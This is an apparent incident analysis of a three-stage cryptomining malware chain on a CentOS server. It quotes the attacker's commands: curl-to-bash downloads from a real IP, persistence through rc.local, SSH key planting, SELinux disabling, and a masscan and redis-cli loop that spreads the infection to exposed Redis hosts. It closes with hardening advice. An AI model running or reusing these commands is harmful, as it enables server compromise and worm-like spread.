How a Hidden gpg‑agentd Malware Hijacked a CentOS Server and Spread via Redis

Investigation Overview

The author discovered a frozen Alibaba Cloud server that could not be accessed via SSH because port 22 was blocked. After reopening the port, the login succeeded with the default root account and a weak password, indicating a prior compromise.

Initial Clues

Running ps -eo command -p 23374 and netstat -pan | grep 23374 revealed two suspicious processes named gpg-agentd. The binary was located in a directory shown in the accompanying screenshot (Figure 1).

Script Retrieval and First Analysis

The attacker had added a cron job that downloaded a script from http://159.89.190.243/ash.php every 15 minutes and executed it. The script was fetched with: curl -fsSL 159.89.190.243/ash.php > ash.sh Its contents included system information commands, SELinux disabling, resource limit changes, and the creation of an SSH public key in /root/.ssh/authorized_keys:

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
... 
echo 'ssh-rsa AAAAB3... redisX' > /root/.ssh/authorized_keys

It also installed bash via yum or apt and then executed a second script:

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash'

Second Script – Core Malware Functionality

The second script performs four main actions:

Downloads remote binaries, makes them executable, and runs them.

Modifies /etc/rc.local to ensure persistence across reboots.

Clones the open‑source high‑speed scanner masscan from GitHub and installs required dependencies.

Downloads and runs a third script that further manipulates the system.

Key code snippets:

# Persist malicious binary
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
chmod +x /usr/bin/gpg-agentd
echo '/usr/bin/gpg-agentd' >> /etc/rc.local

Third Script – Redis Exploitation and Network Scanning

This script disables SELinux, raises file descriptor limits, and then writes malicious configuration entries into a Redis database file ( .dat) using the Redis CONFIG SET command, effectively planting an SSH public key on other compromised hosts.

echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
... (repeated for multiple backup entries)

It then runs masscan at a rate of 10 000 packets per second against ports 6379 and 6380 (default Redis ports) across large IP ranges, collects live Redis instances, and uses redis-cli to push the malicious .dat file into those instances, turning them into new footholds.

masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/22000 ...
while read -r h p; do
  cat .dat | redis-cli -h $h -p $p --raw &>/dev/null &
done < .shard

The script also adds firewall rules to block inbound traffic to Redis and cleans up temporary files.

Root Cause and Attribution

Log analysis showed numerous failed login attempts, suggesting the root password was brute‑forced. The presence of the gpg-agentd binary, combined with strings such as "bitcoin", "eth" and "mine", points to a cryptocurrency‑mining payload.

Security Recommendations

Server hardening

Disable direct root SSH login.

Enforce strong, complex passwords for all accounts.

Change the default SSH port from 22.

Deploy tools like DenyHosts to block brute‑force attempts.

Prefer key‑based authentication and disable password authentication.

Redis hardening

Bind Redis only to localhost (avoid 0.0.0.0 or public IPs).

Set a strong password for Redis access.

Run Redis under a low‑privilege user.

Following these steps can mitigate the attack chain demonstrated in the analysis.

Conclusion

The three‑stage malware chain first obtains SSH access by planting an authorized key, then repeatedly pulls and executes additional binaries, and finally leverages an unauthenticated Redis write‑file vulnerability to propagate across the Internet at massive scale, turning compromised hosts into a distributed mining botnet.